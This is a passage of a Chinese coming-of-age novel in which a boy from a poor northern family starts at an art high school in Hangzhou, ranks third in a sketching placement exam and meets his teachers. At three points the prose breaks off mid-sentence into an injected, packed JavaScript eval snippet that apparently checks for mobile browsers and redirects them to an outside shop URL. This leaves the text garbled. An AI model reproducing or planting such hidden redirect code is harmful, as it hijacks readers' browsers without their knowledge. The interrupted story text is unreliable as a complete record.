张小五转过身,走出了门。他走下楼梯,脚步声在空荡荡的楼道里回荡。六楼、五楼、四楼、三楼、二楼、一楼。每下一层,他的心就轻一点,像是有什么东西从身体里飞走了,飞向一个很远很远的地方。 他走出单元门,走到楼下。那棵老槐树还在,叶子还是绿的,在晨风里沙沙作响。那只橘色的胖猫蹲在花坛边上,舔着爪子,看见他,“喵呜”了一声。 张小五朝它挥了挥手。 “我走了。”他说,“你在家好好的。” 橘猫看了他一眼,打了个哈欠,继续舔爪子。 张小五笑了。他转过身,拉着行李箱,走出了巷子。走到巷口的时候,他停下来,回过头。六楼的窗户开着,父亲站在窗前,正在往下看。他看见张小五回头,朝他挥了挥手。 张小五也挥了挥手,然后转过身,走进了晨光里。 阳光很好,照在整条街上,把一切都镀上了一层金色。他走在金色的光里,影子被拉得很长很长,像一个巨人。他走得很快,但每一步都很稳,因为他知道,这条路的尽头,是杭州,是美院附中,是画室,是颜料,是画架,是画布。是他想要的一切。 火车站在前方,像一个巨大的、张开双臂的拥抱。 张小五深吸一口气,加快了脚步。 26. 九月的杭州 火车是早上七点半的。张小五到车站的时候,候车室里已经坐满了人。九月初是开学季,到处都是背着书包拖着箱子的学生和家长。有的学生穿着崭新的校服,有的手里拿着录取通知书,有的在跟父母自拍,有的在哭。一个女生抱着她妈妈的腰,哭得稀里哗啦的,她妈妈一边拍她的背一边说:“好了好了,又不是不回来了,寒假就回了。”女生哭得更凶了,鼻涕眼泪糊了一脸。 张小五看着她们,心里有点羡慕。他也很想哭,但他没有妈妈可以抱。王秀兰已经回南方上班了,张建国没有来送他——不是不想来,是张小五不让。他知道父亲的身体经不起折腾,坐一个小时的公交车到火车站,再一个人回去,太累了。他宁肯一个人走,也不想让父亲受累。 他找了一个角落的位置坐下,把行李箱放在脚边,书包抱在怀里,画筒靠在墙上。他拿出画本,翻到新的一页,开始画候车室里的众生相。那个抱着妈妈哭的女生,她哭的时候鼻子红红的,像一只小兔子。那个穿着崭新校服的男生,校服太大了,袖子盖住了手指,裤腿在地上拖着,像一个偷穿大人衣服的小孩。那个蹲在地上吃泡面的父亲,他吃得很急,一边吃一边看表,怕错过火车。 他画着画着,广播响了:“开往杭州方向的Kxxxx次列车开始检票。” 他合上画本,收好铅笔,背起书包,一手拉着行李箱,一手拿着画筒,走向检票口。检票员看了他一眼,大概觉得这个男孩太小了,一个人出远门,眼神里多了一丝担忧。 “一个人?”检票员问。 “一个人。”张小五说。 检票员在他车票上剪了一个口子,把票还给他。“路上小心。” 张小五点了点头,走进了站台。他找到了自己的车厢,把行李箱搬上去,放好,找到自己的座位。是一个靠窗的位置,他喜欢靠窗,因为可以看到外面的风景。他把书包放在腿上,画筒夹在膝盖之间,靠着窗,等着火车开动。 火车准点出发了。窗外的站台开始往后退,然后是铁轨、信号灯、电线杆、田野、房屋、树木。所有的东西都在往后退,快得像电影的快进镜头。张小五看着窗外,没有画画,没有背单词,没有做任何事。他只是看着,看着那些熟悉的风景一点一点地从眼前消失,被陌生的风景取代。北城的灰黄变成了南方的青绿,平原变成了丘陵,旱地变成了水田。 他想起了很多事。想起五岁那年,母亲拖着红色行李箱走出巷口的背影。想起父亲在工地上扛水泥的样子,汗珠子从额头上滚下来,滴在地上,瞬间就被蒸干了。想起李老师说“画画不能停”,想起方老师说“我像你这么大的时候家里也很穷”,想起周扬说“等你以后成了大画家再还我”,想起陈雨桐说“你不是一个人”。 想起那些深夜里独自哭泣的日子,想起那些在医院走廊上无声等待的夜晚,想起那些折叠椅上蜷缩成一团的凌晨。想起父亲手术成功那天,阳光从窗户照进来,照在父亲苍白的脸上,照在心电监护仪绿色的波形上。想起母亲把老家的房子卖了,五万块,汇到了医院的账户上。想起那张录取通知书,红色的边框,黑色的字体,烫金的校名。 他把手伸进衬衫领口,摸到了那两个平安符。母亲的,父亲的,并排贴着胸口,小小的,硬硬的,随着他的心跳一起一伏。他把它们握在手心里,感觉到掌心的温度,慢慢变暖。 下午四点多,火车到了杭州。 张小五背着书包,拉着行李箱,拿着画筒,走出了车站。杭州的天空灰蒙蒙的,不是雾霾,是水汽。空气中有一种湿漉漉的、黏糊糊的感觉,像是走进了一个巨大的蒸笼。他的眼镜片上立刻蒙了一层雾气,他摘下眼镜,用衣角擦了擦,重新戴上。 他跟着人流走向地铁站。这是他第一次坐地铁,以前只在电视上见过。他买了票,过了闸机,站在站台上等车。地铁来了,他上了车,车厢里人很多,他被挤在中间,一只手拉着行李箱,另一只手抱着画筒,书包被挤得歪到了一边。他没有抱怨,甚至觉得有点新鲜。这就是大城市的生活,拥挤,匆忙,但有一种让人兴奋的节奏。 他在“美院附中”站下了车。走出地铁站,一眼就看见了那所学校的校门。灰白色的石柱,木匾上写着校名,和记忆中的一模一样。他站在校门口,仰着头,看着那几个字,看了很久。阳光照在木匾上,那些字在发光。 他深吸一口气,走进了校门。 报到的地方在教学楼一楼的大厅。那里摆了一排桌子,每张桌子后面坐着一个老师,桌子上放着不同专业的牌子。张小五找到了“绘画专业”的牌子,走过去,把录取通知书递给老师。老师是一个年轻的女人,扎着马尾辫,戴着一副黑框眼镜,看起来很和善。 “张小五?”她看了看录取通知书,又看了看他,“北城来的?” “是。” “一个人来的?” “是。” 老师多看了他一眼,眼神里有一种说不清的东西。她在一张表格上找到了他的名字,打了个勾,然后递给他一张纸条、一把钥匙和一张校园卡。 “这是你的宿舍号和钥匙,这是校园卡,吃饭、借书都用它。明天上午九点,在阶梯教室开新生大会,不要迟到。” 张小五接过那些东西,道了谢,转身走向宿舍。 宿舍楼在校园的东北角,是一栋灰白色的六层建筑,外墙爬满了藤蔓,即使是九月,叶子也是绿的。他走进楼门,找到楼梯,爬上三楼。走廊很长,灯光是暖黄色的,两边的门上贴着房间号。他找到了309,把钥匙插进锁孔,拧了一下,门开了。 宿舍是四人间,上下铺。已经有三个人在了,一个在铺床,一个在整理书桌,一个坐在床上玩手机。他们看见张小五进来,都抬起头看着他。 “你好,你是新来的?”铺床的那个男孩从床上跳下来,朝他伸出手,“我叫陆一鸣,来自江苏徐州。” 张小五和他握了握手。“张小五,北城。” “北城?北方那个?”陆一鸣的眼睛亮了一下,“我听说过那个地方,好像挺冷的。” “是挺冷的,冬天零下十几度。” “哇,那你们那边是不是经常下雪?” “嗯,每年都下。” 陆一鸣露出羡慕的表情。“我们那边很少下雪,就算下了也积不起来,落地就化了。” 整理书桌的那个男孩也走了过来,个子不高,戴着一副圆框眼镜,看起来很斯文。“我叫林子涵,来自福建厦门。” 张小五和他握了握手。“你好。” 坐在床上玩手机的那个男孩这时候才抬起头,把手机扔在一边,从床上跳下来。他比张小五高半个头,皮肤很白,头发是棕色的,看起来像一个混血儿。“我叫欧阳逸飞,来自上海。” “你好。”张小五说。 “你就带这么点东西?”欧阳逸飞看了看他的行李箱和画筒,又看了看陆一鸣和林子涵那堆得像小山一样的行李,眼神里有一丝惊讶。 “够了。”张小五说。 欧阳逸飞没有再说什么,转身回到床上,继续玩手机。陆一鸣凑过来,帮张小五把行李箱抬到靠窗的那个下铺——那是他分到的床位。林子涵把自己的书桌让出一块地方,让张小五放东西。 张小五开始收拾。他把衣服一件一件地叠好,放进柜子里。他把画具摆在书桌上——铅笔、橡皮、削笔刀、颜料、画笔、画本。他把画筒靠在书桌旁边,把两个平安符从脖子上取下来,放在枕头底下。他把手表摘下来,放在床头,黑色的表带,白色的表盘,数字很大,即使在黑暗中也能看清时间。 “你的画具好少。”陆一鸣看着他的书桌,又看了看自己的——他的画具是张小五的三倍多,各种型号的铅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听说有一个摸底考试。”林子涵忽然开口,声音很轻,但语气很确定,“考素描和色彩,根据成绩分班。” 张小五的心紧了一下。摸底考试。他还没有准备好。或者说,他永远觉得自己没有准备好。 “怕什么,考就考呗。”欧阳逸飞嚼着口香糖,吹了一个泡泡,啪的一声破了。 张小五没有说话。他低下头,把碗里的米饭吃得一粒不剩。 回到宿舍,张小五洗了澡,躺在床上。床是硬的,枕头是低的,被子是薄的,和家里的不一样。他翻来覆去地睡不着,不是因为不习惯,是因为脑子里想的事情太多了。明天的新生大会,摸底考试,分班,新老师,新同学,新生活。所有的这些东西像一群蜜蜂一样在他脑子里嗡嗡地飞,飞得他头昏脑涨。 他拿出手机,给父亲发了一条消息:“爸,到学校了。宿舍很好,室友也很好。明天新生大会,还有摸底考试。你别担心。” 过了一会儿,父亲回了一条:“好。早点睡。” 他又给母亲发了一条:“妈,到杭州了。学校很漂亮,食堂的菜很好吃。你照顾好自己。” 母亲回了一个笑脸,后面跟着一串感叹号。 他把手机放在枕头底下,把手表放在床头,闭上眼睛。黑暗中,他听见陆一鸣的呼吸声,均匀而平稳。听见林子涵翻书的声音,很轻,像风吹过纸页。听见欧阳逸飞嚼口香糖的声音,啪嗒啪嗒的,像一只小老鼠在啃东西。 他翻了个身,把脸埋进枕头里。枕头上有一股陌生的味道,不是洗衣粉,不是太阳,是学校的味道。他深吸一口气,把那口陌生的味道吸进肺里,然后慢慢地呼出来。 他在心里说:“杭州,我来了。美院附中,我来了。新生活,我来了。” 然后他闭上了眼睛。 这一次,他很快就睡着了。 27. 摸底考试 新生大会在第二天上午九点。张小五七点就醒了,不是被闹钟叫醒的,是被走廊里的脚步声吵醒的。那些脚步声急促而杂乱,像一群受惊的马在奔跑,伴随着各种声音——水龙头的哗哗声、卫生间的关门声、行李箱的拉链声、手机的外放声。新的一天开始了,新的生活开始了,所有人都很兴奋,或者说,所有人都假装很兴奋。 张小五在床上躺了一会儿,盯着上铺的床板。上铺是欧阳逸飞,他还在睡,呼吸很轻,几乎没有声音。张小五轻手轻脚地爬起来,拿着洗漱用品去卫生间。镜子里的自己眼睛有点肿,昨晚没睡好,做了很多梦,但一个都记不清了。他刷牙,洗脸,把头发理了理,然后回到宿舍换衣服。他穿上了那件白衬衫和蓝裤子——校服,他的战袍。他把两个平安符都戴在脖子上,塞进衬衫里面,贴着胸口。他戴上手表,黑色的表带,白色的表盘,数字很大。 陆一鸣已经换好了衣服,正在镜子前左照右照。他穿的是自己的衣服,一件白色的T恤和一条蓝色的牛仔裤,很清爽。林子涵穿着校服,正在系扣子,系得很慢,每一颗都要仔细对齐。欧阳逸飞还在睡。 “欧阳,起来了,八点半了。”陆一鸣推了推他。 欧阳逸飞翻了个身,嘟囔了一句什么,继续睡。 “欧阳,新生大会要迟到了。”林子涵的声音很轻,但很坚定。 欧阳逸飞猛地睁开眼,看了一眼手机,然后从床上弹了起来。“我靠,你们怎么不早叫我!”他一边穿衣服一边往卫生间跑,差点撞到门框。 张小五看着他那副手忙脚乱的样子,嘴角弯了一下。他忽然想起周扬,周扬也是这样,每天早上都起不来,每次都要他叫。不知道周扬现在在干什么,有没有人叫他起床。 八点四十五分,他们四个人走出了宿舍楼。校园里到处都是人,有的穿着校服,有的穿着自己的衣服,有的背着画板,有的提着颜料箱。他们的脸上都带着一种共同的期待——新的开始。张小五走在他们中间,画筒背在肩上,书包提在手里,脚步很快。他不想迟到,他从来不迟到。这是他父亲教他的——你可以穷,可以笨,可以什么都没有,但不能不守时。守时是一个人最基本的信用。 阶梯教室在教学楼的一层,很大,能坐三百多人。他们到的时候,教室里已经坐了一大半。张小五找了靠后的位置坐下,陆一鸣坐在他右边,林子涵坐在左边,欧阳逸飞坐在前面。讲台上站着几个人,有头发花白的老教授,有中年发福的系主任,有年轻漂亮的辅导员。墙上挂着一条横幅——“中国美术学院附属中等美术学校2024级新生入学典礼”。 九点整,一个穿着灰色西装的中年男人走上讲台,拿起话筒。他的头发梳得一丝不苟,眼镜擦得锃亮,皮鞋反射着灯光。他清了清嗓子,教室里安静了下来。 “同学们好,我是你们的校长,姓陈。首先,我代表学校全体师生,欢迎你们来到中国美术学院附属中等美术学校。” 掌声响起来,稀稀拉拉的,不是很整齐。 陈校长开始讲话。他讲了学校的歷史,讲了学校的传统,讲了学校的成就。他讲了那些从这所学校走出去的大画家、大设计师、大教授,讲了他们的故事,讲了他们的作品,讲了他们的荣誉。他讲了学校的校训——“厚德,博学,尚美,笃行”。他讲了学校的教学理念——“以美育人,以美化人,以美培元”。他讲了很多很多,有些张小五听懂了,有些没听懂,但他都认真地听着,因为这是他的学校,这是他的校长,这是他新生活的开始。 陈校长讲完之后,系主任上来讲话。系主任姓王,是个四十多岁的女人,短发,圆脸,穿着一件深蓝色的连衣裙。她的声音很大,不用话筒也能让最后一排的人听得清清楚楚。 “同学们,从今天起,你们就是美院附中的学生了。这意味着什么?意味着你们选择了艺术这条路。这条路不好走,很苦,很累,很孤独。你们要做好准备,准备吃苦,准备受累,准备一个人面对无数个深夜和黎明。但我可以告诉你们,这条路值得走。因为在这条路的尽头,有你们想要的一切——自由,尊严,还有美。” 教室里安静极了。没有人鼓掌,没有人说话,所有人都在听,都在消化。张小五把这句话记在了心里——“这条路不好走,很苦,很累,很孤独。”他知道,他已经在这条路上走了很久了,从五岁那年在超市广告纸背面画下第一条金鱼开始,他就走在这条路上了。他不知道这条路还有多长,不知道还要走多久,但他知道,他不会停下来。 新生大会结束后,摸底考试立刻开始。 考场就在阶梯教室,不用换地方。监考老师就是那个年轻的辅导员,姓赵,扎着马尾辫,戴着一副黑框眼镜。她让所有人把画具准备好,把手机交到讲台上,把书包放在教室后面。然后她发下来一张纸,是考题。 素描考题:石膏像写生。大卫的头像,摆在讲台旁边的架子上,灯光从左上角打下来,明暗对比强烈。 色彩考题:静物写生。一组静物——一个蓝色的陶罐、两个红色的苹果、一个黄色的柠檬、一块白色的衬布。摆在教室中央的桌子上,自然光从窗户照进来,光线柔和而均匀。 速写考题:人物动态速写。两个同学当模特,一个站着,一个坐着,每隔五分钟换一个姿势。 张小五看着那些考题,心跳得很快。不是紧张,是兴奋。他终于可以在真正的考场里,用真正的画具,画真正的题目了。不是模拟,不是练习,不是为任何人而画,而是为自己而画,为这张考卷而画,为这所他拼了命才考进来的学校而画。 他深吸一口气,把素描纸夹在画板上,拿起一支6B铅笔,开始画大卫。 他的手很稳。不是那种紧绷的、小心翼翼的稳,而是一种放松的、自信的、胸有成竹的稳。他的铅笔在纸面上滑过,留下一道道流畅的线条。从轮廓到结构,从结构到明暗,从明暗到细节,一步一步地,把那个老人的脸从纸面上唤醒。他画得很慢,但每一笔都很笃定,像是早就知道该怎么画,只是等着用手把它们呈现出来。 画到一半的时候,他听见旁边有人在叹气。是欧阳逸飞,他画不下去了,橡皮擦了又擦,纸面都快擦破了。张小五没有看他,继续画自己的。他不是冷漠,是专注。一旦拿起画笔,他的世界里就只有画面,其他的一切都会自动屏蔽。 三个小时过去了。他画完了。他退后几步,看着自己的画。画上的大卫像一座山,稳稳地立在纸面上,骨骼结构准确,明暗关系清晰,甚至连那种坚毅的表情都捕捉到了几分。他不知道这个水平在班里算好还是算差,但他知道,这是他目前能画出的最好的大卫。 下午的色彩考试,他发挥得一般。他的色彩一直是弱项,虽然在杭州集训的时候进步了很多,但和那些从小就开始学水彩的同学比起来,还是有差距。他看着自己画完的静物,觉得颜色还是不够丰富,过渡还是不够自然,那个蓝色的陶罐画得像一块铁,没有陶器那种温润的质感。他有点沮丧,但他告诉自己,没关系,这才是开始。他还有三年的时间可以学,可以练,可以进步。 速写考试他发挥得很好。这是他最擅长的科目,他画得很快很准,每一张都抓住了模特的核心动态和基本比例。赵老师走过来看他的速写,站了很久,然后点了点头,没有说话就走了。 张小五看着赵老师走远的背影,心里涌起一股热流。一个点头,比一千句夸奖更有分量。 考试结束后,他们回到宿舍。陆一鸣第一个开口:“你们考得怎么样?” “还行吧。”林子涵说,语气很平,听不出好坏。 “不怎么样。”欧阳逸飞躺在床上,用手臂遮着眼睛,“素描画砸了,大卫的脸被我画成了外星人。” 陆一鸣笑了。“有那么夸张吗?” “真的,比例完全不对,额头太长了,下巴太短了,看起来像一个ET。” 张小五坐在自己的床上,没有说话。他在想自己的色彩,那个蓝色的陶罐,越想越觉得不满意。他拿出画本,翻到新的一页,凭着记忆把那组静物重新画了一遍。这次他用的是铅笔,不是颜色,但他尽力用明暗去表现陶罐的质感。他画了一遍,不满意,擦了重画。画了第二遍,还是不满意,再擦再画。画到第三遍的时候,他觉得自己找到了一点感觉,那个陶罐终于不再像一块铁了,有了一点陶器该有的温润和厚重。 “张小五,你还在画?”陆一鸣探过头来,看了一眼他的画本,“你画得真好。这个陶罐的质感处理得太好了。” 张小五笑了笑,没有说什么。他把画本合上,放在枕头底下。 晚上,赵老师来宿舍查房。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444023|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着那件深蓝色的连衣裙,手里拿着一个文件夹,挨个房间走。走到309的时候,她停下来,敲了敲门。 “进来。”陆一鸣说。 赵老师推门进来,看了看他们四个人,在文件夹上写了几笔。“都到齐了?” “到齐了。”林子涵说。 赵老师点了点头,正要走,忽然停下来,转过身看着张小五。“你是张小五?” 张小五愣了一下。“是。” “你的素描考得不错,全年级第三。”赵老师说完就走了。 门关上了。宿舍里安静了两秒钟,然后陆一鸣爆发出一声尖叫:“全年级第三!张小五!你听到了吗?全年级第三!” 张小五听到了。他当然听到了。但他不敢相信。全年级第三,在他最擅长的素描科目上。他以为是自己的耳朵出了问题,或者是赵老师说错了。也许不是第三,是第十三?也许是第三十?他掐了一下自己的大腿,疼的。不是梦。 “我靠,张小五,你也太低调了吧!”欧阳逸飞从床上坐起来,眼睛里满是惊讶,“考了第三名还一声不吭,你要是我,早就满世界嚷嚷了。” 张小五笑了笑,还是没有说什么。他不知道该怎么解释,他不是低调,是不敢相信。从小到大,他都是那个站在角落里、不被注意、不被重视的人。他习惯了被忽视,习惯了被低估,习惯了被认为“也就那样”。突然有人告诉他,你是全年级第三,他不知所措,像是一个一直走在黑暗中的人,忽然被一束光照亮了,眼睛都睁不开。 那天晚上,他给父亲打电话的时候,声音都是抖的。 “爸,摸底考试,我的素描考了全年级第三。” 电话那头沉默了一会儿,然后传来张建国的声音,沙哑的,颤抖的,带着哭腔的。“小五,爸就知道你能行。爸就知道。” “爸,你别哭。” “爸没哭。爸就是高兴。” 张小五握着手机,听着父亲的声音,眼泪无声地滑了下来。他没有擦,就那么让眼泪流着,流到下巴,滴在衣服上。他不是难过,是感动。感动于父亲那句“爸就知道你能行”,感动于这半年来所有的付出终于有了回报,感动于那个在折叠椅上度过的无数个夜晚,感动于那些无声的、在黑夜里流淌的眼泪,终于变成了一个数字——全年级第三。 他又给母亲打了电话。王秀兰接电话的时候正在加班,电话那头传来缝纫机嗡嗡嗡的声音。 “妈,摸底考试,我的素描考了全年级第三。” 缝纫机的声音停了。王秀兰的声音从电话那头传过来,又哭又笑,像疯了似的。“小五!小五!妈就知道!妈就知道你能行!妈太高兴了!妈……” 张小五听着,嘴角慢慢弯了起来。他看着窗外的月亮,月亮很圆,很亮,挂在香樟树的树梢上,像一个巨大的银盘子。杭州的月亮和北城的月亮是一样的,都是圆的,都是亮的,都是挂在天上看着地上的人。但杭州的月亮旁边多了一些云,薄薄的,透透的,像一层轻纱,让月亮看起来朦朦胧胧的,像一个在做梦的人。 他也在做梦。一个他做了很多年、终于开始变成现实的梦。 他把手伸进衬衫领口,摸到了那两个平安符。母亲的,父亲的,并排贴着胸口,小小的,硬硬的,随着他的心跳一起一伏。他把它们握在手心里,感觉到掌心的温度,慢慢变暖。 窗外,有人在弹吉他。是一首老歌,旋律很慢,很温柔,像一个人在轻声细语地说着什么。张小五不知道那首歌叫什么名字,但他觉得好听。好听到他想把它画下来,用颜色去表达那些音符,用线条去描绘那些旋律。 他拿起画本,翻到新的一页,开始画。他画的是窗外的月亮,挂在香樟树的树梢上。月亮下面是一个校园,校园里有教学楼、宿舍楼、食堂、操场。操场上有一个小小的身影,背着画板,走在月光里。 那个身影是他自己。 他在画的下面写了一行字。 “摸底考试,素描全年级第三。爸哭了。妈也哭了。我没有哭,但我想哭。” 他把画本合上,放在枕头底下,关了灯。 黑暗中,他又听见了那个声音。 “画下去。” 他笑了。 会的。在杭州,在北城,在任何地方,他都会画下去。 28. 第一堂课 摸底考试的结果在第二天就贴出来了。红纸黑字,贴在教学楼一楼大厅的公告栏上,围了一大群人。张小五本来不想去看,他觉得自己考得一般,色彩拖了后腿,总分大概在中等偏上的位置,没什么好炫耀的。但陆一鸣拉着他,非要去看。 “让一让,让一让。”陆一鸣挤进人群,张小五跟在他后面。公告栏上贴着一张大大的表格,上面是所有人的名字、各科成绩和总分排名。张小五从下往上找,找了半天没找到自己的名字,心一点一点地往下沉。难道自己考得很差?差到连名字都排不上? “张小五!你在这里!”陆一鸣的声音从前面传来,带着一种近乎疯狂的兴奋,“总分第九!素描第三!速写第二!色彩第十八!” 张小五挤过去,顺着陆一鸣的手指看过去。果然,他的名字在表格的第九行。总分第九,素描第三,速写第二,色彩第十八。他把那些数字看了好几遍,心里说不出是什么感觉。素描和速写在预料之中,色彩第十八让他有点失望——全年级一共才六十个人,十八名只能算中上,离“好”还差得远。 “色彩考砸了。”他说。 陆一鸣瞪大眼睛看着他:“你考了第十八名还叫考砸了?那我考了第三十五名叫什么?叫灾难?” 张小五没有接话。他不是矫情,也不是凡尔赛,他是真的觉得不满意。他知道自己的色彩弱,但没想到弱到这个程度。全年级六十个人,他排第十八。这意味着有十七个人的色彩比他好。在美院附中这种地方,每一分差距都可能是天赋的差距,而天赋这种东西,不是靠努力就能弥补的。 “别想了。”陆一鸣拍了拍他的肩膀,“这才第一次考试,后面还有很多次。你素描这么好,色彩练一练就上去了。” 张小五点了点头,把那个排名记在了心里。第十八名。这是他的起点,但不是他的终点。 第一堂专业课在摸底考试的第三天。 画室在教学楼的三楼,是一间很大的屋子,比杭州集训时的画室还要大。窗户朝北,光线均匀而柔和,没有直射的阳光,也没有浓重的阴影。画架上摆着石膏像,不是大卫,不是维纳斯,是一个张小五没见过的头像——一个年轻人的脸,卷发,大眼睛,嘴角微微上扬,带着一种天真而自信的笑容。 “这是《大卫》。”一个声音从身后传来。 张小五转过身,看见一个头发花白的老头站在他身后,穿着一件灰色的夹克,脚上是一双布鞋,手里拿着一支烟——没点着,学校禁止抽烟,但他似乎习惯了手里夹着点什么。老头的脸上有很多皱纹,但眼睛很亮,亮得像两颗被擦干净的铜纽扣。 “这是米开朗基罗的大卫,不是我们平时画的那个。”老头走到石膏像旁边,用手轻轻拍了拍它的头顶,“这个是原版复制品,你们平时画的那个是简化版。注意看他的眼睛,原版的眼睛是有瞳孔的,简化版没有。还有头发,原版的头发是一缕一缕的,简化版是一块一块的。” 张小五凑近了看,果然,那双眼睛里有瞳孔,小小的,圆圆的,像两颗黑芝麻。他画了那么多次大卫,从来不知道大卫有瞳孔。他一直以为大卫的眼睛是空白的,像两个黑洞。 “你是新来的?”老头看着他。 “是,新生。” “叫什么名字?” “张小五。” 老头想了想,摇了摇头。“没听说过。摸底考试考得怎么样?” “素描第三,色彩第十八。” “色彩第十八?”老头的眉毛挑了一下,语气里有一种说不清的东西,不是惊讶,不是失望,更像是一种“果然如此”的了然,“你的色彩谁教的?” “没有专门学过,都是自己摸索的。” 老头“嗯”了一声,把没点着的烟叼在嘴里,转身走了。走了两步又停下来,回过头。“我叫周明远,是你的素描老师。下午的色彩课,是沈老师教,你应该见过她。” 张小五点了点头。沈老师,杭州集训时教他色彩的那个女老师,温柔的、耐心的、给了他一套温莎牛顿颜料的沈老师。他没想到沈老师也在这里教书,更没想到自己会分到她的班上。 上课铃响了。周老师——现在要叫他周老师了——走到画室前面,拍了拍手,所有人安静下来。 “我是你们的素描老师,周明远。你们可以叫我周老师,也可以叫我老周,随便。”他把烟从嘴里拿下来,在手里转了一圈,“我这门课,没什么规矩,就一条——不许迟到。迟到的人,不用进画室,直接去操场跑五圈,跑完再回来画。” 教室里响起一片窃窃私语。跑五圈?操场一圈四百米,五圈两千米。对于这些整天坐着画画、一坐就是几个小时的美术生来说,两千米简直是要命。 “第二条。”周老师继续说,“不许抄袭。你可以画得不好,可以画得不像,可以画得连你妈都不认识。但必须是你的东西。抄别人的,零分。” 教室里安静了。 “第三条。”周老师把烟叼回嘴里,“画不完不许走。我什么时候下课,你们什么时候下课。哪怕画到半夜,也得给我画完。” 张小五坐在画架前,把周老师的话一句一句地记在心里。不许迟到,不许抄袭,画不完不许走。这三条规矩,比任何校规都更有分量。 第一堂素描课,画的是那个有大卫瞳孔的石膏像。周老师没有讲解,没有示范,没有任何指导。他只是说:“画。画完了给我看。”然后就坐在讲台后面,翘着二郎腿,叼着没点着的烟,翻一本很厚的书。 张小五看着那个石膏像,看了很久。他从来没有画过这个版本的大卫,不熟悉它的结构,不熟悉它的比例,不熟悉那些一缕一缕的卷发和那双有瞳孔的眼睛。他拿起铅笔,犹豫了一下,然后开始画。 他画得很慢。不是因为紧张,是因为不熟悉。每一笔都要想很久,画了擦,擦了画,反复了好几次。旁边的陆一鸣画得很快,铅笔在纸面上沙沙地响,像一只在啃木头的老鼠。林子涵画得很安静,几乎没有声音,但他的画纸上已经浮现出大卫的轮廓,准确而流畅。欧阳逸飞画得乱七八糟,橡皮擦得纸面都快破了,他低声骂了一句脏话,把铅笔扔在桌上。 张小五没有看他们。他的全部注意力都在那个石膏像上。他试着去理解它的结构——头骨的形状,颧骨的位置,下颌的角度。他试着去捕捉它的光影——光从左上角打下来,在右下方投下阴影。他试着去表现它的质感——头发的卷曲,皮肤的平滑,眼睛的深邃。 他画了整整三个小时。下课铃响的时候,他还没有画完。周老师站起来,把烟从嘴里拿下来,在桌子上敲了敲。 “没画完的继续画。画完了的交给我,可以走。” 张小五继续画。他的手已经开始酸了,手指的关节肿了,握笔的时候疼得钻心。但他没有停下来,因为他不想跑两千米,也不想明天再画。他要今天画完,现在画完,立刻画完。 又过了一个小时,他终于画完了。他退后几步,看着自己的画。画上的大卫像一个刚从梦中醒来的人,眼睛半睁半闭,表情迷离而温柔。他不知道画得好不好,但他知道,这是他画得最认真、最用心、最有诚意的一幅大卫。 他把画从画板上取下来,走到讲台前,交给周老师。周老师接过画,看了一眼,然后抬起头看着他。 “你画了多久?” “四个小时。” “别人三个小时就画完了,你花了四个小时。你知道这意味着什么吗?” 张小五的心沉了一下。“我画得慢。” “不。”周老师把画放在桌上,用手指点了点大卫的眼睛,“你画得比别人细。你看这里,瞳孔的高光,你用了三层调子去表现。别人用一个高光点就糊弄过去了,你画了三层。这就是为什么你花了四个小时。” 张小五看着那个高光点,确实,他画了三层。第一层是浅灰,第二层是中灰,第三层是纯白。三层叠加在一起,那个高光点看起来像是真的在发光。 “慢不是缺点。”周老师说,“慢是你的优点。你比别人认真,比别人仔细,比别人舍得花时间。这就够了。技巧可以练,速度可以提,但认真这个东西,不是练出来的,是长在骨头里的。” 张小五站在那里,不知道该说什么。他想说“谢谢”,但这两个字太轻了。他想说“我会继续努力”,但这句话太虚了。他最后只是点了点头,转过身,走回了自己的画架。 他开始收拾画具。铅笔一支一支地插回笔袋,橡皮放回盒子,画板擦干净。他把画架折叠好,靠在墙边,然后背上书包,走出了画室。 走廊里很安静,大部分人都走了。夕阳从窗户照进来,把整条走廊染成了橘红色。他走在橘红色的光里,影子被拉得很长很长,像一个巨人。 他忽然想起了周扬。不知道周扬现在在干什么,有没有适应高中的生活,有没有交到新朋友,有没有人帮他带饭。他拿出手机,想给周扬发条消息,但打了几个字又删掉了。他不知道该说什么。说“我想你了”?太肉麻了。说“你还好吗”?太客套了。说“我在画大卫,画了四个小时,老师说慢是我的优点”?太啰嗦了。 他最后只发了一个表情——一个竖起来的大拇指。 过了一会儿,周扬回了一个同样的表情。 张小五看着那个表情,笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得距离没有那么远了。北城和杭州,一千多公里,但一个表情就能跨过去。 下午的色彩课,沈老师站在画室前面,穿着一件白色的棉麻衬衫,头发披着,看起来很温柔。她让同学们把摸底考试的色彩作品拿出来,一张一张地点评。 轮到张小五的时候,她拿起他的画,看了很久。 “你的色彩问题很明显。”沈老师说,语气很平,没有批评的意思,只是在陈述事实,“颜色太生,过渡太硬,缺乏冷暖对比。你看这个蓝色的陶罐,你用了一种蓝色从头画到尾,没有变化。实际上,陶罐的受光面偏冷,背光面偏暖,你完全没有表现出来。” 张小五看着自己的画,确实,那个陶罐像一块铁,从头到尾是一种蓝色,没有层次,没有变化,没有生命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 